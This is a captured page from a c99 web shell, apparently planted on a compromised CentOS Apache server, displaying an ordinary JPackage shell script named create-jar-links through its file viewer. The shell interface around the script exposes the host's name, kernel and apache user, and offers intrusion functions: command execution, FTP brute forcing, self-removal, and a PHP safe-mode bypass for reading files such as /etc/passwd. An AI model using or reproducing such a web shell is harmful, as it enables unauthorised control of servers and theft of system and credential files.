!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/bin/   drwxr-xr-x
Free 52.28 GB of 127.8 GB (40.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     create-jar-links (4.55 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/sh
#
# Script to clean binary files.
#
# JPackage Project <http://www.jpackage.org/>
#
# $Id: create-jar-links,v 1.1 2006/09/19 19:39:37 fnasser Exp $

# Import java functions
[ -r /usr/share/java-utils/java-functions ] \
 &&  . /usr/share/java-utils/java-functions || exit 1

# Prints help message
usage() {
    /bin/cat >&2 << EOF_USAGE

Usage: $0 -f instructions_file [-a archive_file] [-p]

Options:
    -a - Archive file on which actions will be performed, as opposed to 
         current directory
    -p - Preserve original file names (-p to build-jar-repository)
    -f - The instructions file to check against.
EOF_USAGE
    exit 2
}

[ "$1" = "--help" ] && usage

[ "$#" = 0 ] && usage

set_javacmd || exit 3
check_java_env || exit 4
set_jvm_dirs || exit 5

# Default jar map
_JAR_MAP_FILE=/usr/share/java-utils/jarname-jpp-map

# Directory in which script was invoked
_WORKING_DIR=`pwd`

# Run-time variables
_ARCHIVE_FILE=""
_REMOVE_LIST=""
_INSTRUCTIONS_FILE=""
_CUSTOM_JAR_MAP_FILE=""
_PRESERVE_BINARY_NAMES=0

# Directory where archive is extracted, if we are working with one
_ARCHIVE_EXTRACTION_DIR=/tmp/_cbr_archive_dir.$$

# Executes the build-jar-repository command
create_jar_links () {

    _old_ifs=$IFS
    IFS="|"

    for file in $_REMOVE_LIST; do

        echo $file | grep -E "\\.jar$" >& /dev/null
        if [ ! $? -eq 0 ]; then
            continue
        fi

        # Strip version and extention. e.g. abc-2.1-api-1.0.4.jar -> abc-2.1-api
        _jar_filename=`basename $file`
        _search_name=`basename $file`
        _search_name=`echo $_search_name | sed -r -e s/-[[:digit:].]*\\\.jar//g | sed -r -e s/\\\.jar$//g`

        _mapped_jar_name=""
        _final_name=""

        # Search in custom jar map first
        if [ ! "$_CUSTOM_JAR_MAP_FILE" = "" ] && [ -f $_CUSTOM_JAR_MAP_FILE ]; then
            # echo "grep -E \"^$_search_name.jar \" $_CUSTOM_JAR_MAP_FILE | awk '{print $2}'"
            _mapped_jar_name=`grep -E "^$_search_name\\.jar " $_CUSTOM_JAR_MAP_FILE | awk '{print $2}'`

            if [ "$_mapped_jar_name" = "" ]; then
                _mapped_jar_name=`grep -E "^$_jar_filename " $_CUSTOM_JAR_MAP_FILE | awk '{print $2}'`
            fi
        fi

        # Search in global jar map ONLY IF things were not found in the custom map
        if [ -f $_JAR_MAP_FILE ] && [ "$_mapped_jar_name" = "" ]; then
            # echo "grep -E \"^$_search_name.jar \" $_JAR_MAP_FILE | awk '{print $2}'"
            _mapped_jar_name=`grep -E "^$_search_name\\.jar " $_JAR_MAP_FILE | awk '{print $2}'`
        fi

        if [ "$_mapped_jar_name" = "" ]; then
            _final_name=$_search_name
        else
            _final_name=$_mapped_jar_name
        fi

        _preserve_name_flag=""
        if [ $_PRESERVE_BINARY_NAMES = 1 ]; then
            _preserve_name_flag="-p"
        fi

        _target_dir=`dirname $file`

        _old_ifs=$IFS
        IFS='
'

        for jppname in $_final_name; do
            echo "build-jar-repository -s $_preserve_name_flag $_target_dir $jppname"
            build-jar-repository -s $_preserve_name_flag $_target_dir $jppname
        done

        IFS=$_old_ifs
    done

    IFS=$_old_ifs

}

while [ $# -gt 0 ] ; do
    case "$1" in
        -f)
            if [ ! -f $2 ] ; then
                echo "$0: error: Could not find instructions file!"
                exit 6;
            fi

            while read line; do

                echo $line | grep ^% >& /dev/null
                if [ $? -eq 0 ] || [ "$line" = "" ]; then
                    continue
                fi

                _type=`echo $line | awk '{print $1}'`
                _value=`echo $line | awk '{ printf "%s", $2; for (i = 3; i <= NF; i=i+1) printf " %s", $i }'`

                if [ $_type = "remove" ]; then

                    if [ -z "$_REMOVE_LIST" ]; then
                        _REMOVE_LIST=$_value
                    else
                        _REMOVE_LIST=${_REMOVE_LIST}"|"$_value
                    fi
                fi

            done < $2

            _INSTRUCTIONS_FILE="$2"

            shift
        ;;
        -a)
            _ARCHIVE_FILE="$2"
            shift
        ;;
        -d)
            _CUSTOM_JAR_MAP_FILE="$2"
            shift
        ;;
        -p)
            _PRESERVE_BINARY_NAMES=1
        ;;
        *)
            echo "ERROR: Unknown argument $1"
            exit 6
        ;;
    esac
    shift
done

if [ "$_INSTRUCTIONS_FILE" = "" ]; then
    echo "ERROR: Instructions file must be specified."
    exit 6
fi

# If we are dealing with an archive file, we need to extract things somewhere, and do our actions in there
if [ ! -z $_ARCHIVE_FILE ]; then
    rm -rf $_ARCHIVE_EXTRACTION_DIR
    mkdir -p $_ARCHIVE_EXTRACTION_DIR
    pushd $_ARCHIVE_EXTRACTION_DIR >& /dev/null
    tar xf $_WORKING_DIR/`basename $_ARCHIVE_FILE`
fi

create_jar_links

if [ ! -z $_ARCHIVE_FILE ]; then

    _archive_basename=`basename $_ARCHIVE_FILE`
    _arch_name=${_archive_basename%%.*}
    _arch_ext=${_archive_basename#*.}

    _compression_flag=""

    echo $_ARCHIVE_FILE | grep gz$ >& /dev/null
    if [ $? -eq 0 ]; then
        _compression_flag=z
    fi

    echo $_ARCHIVE_FILE | grep bz2$ >& /dev/null
    if [ $? -eq 0 ]; then
        _compression_flag=f
    fi

    tar cf$_compression_flag $_WORKING_DIR/$_arch_name-clean.$_arch_ext *

    popd >& /dev/null
    rm -rf $_ARCHIVE_EXTRACTION_DIR
fi

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--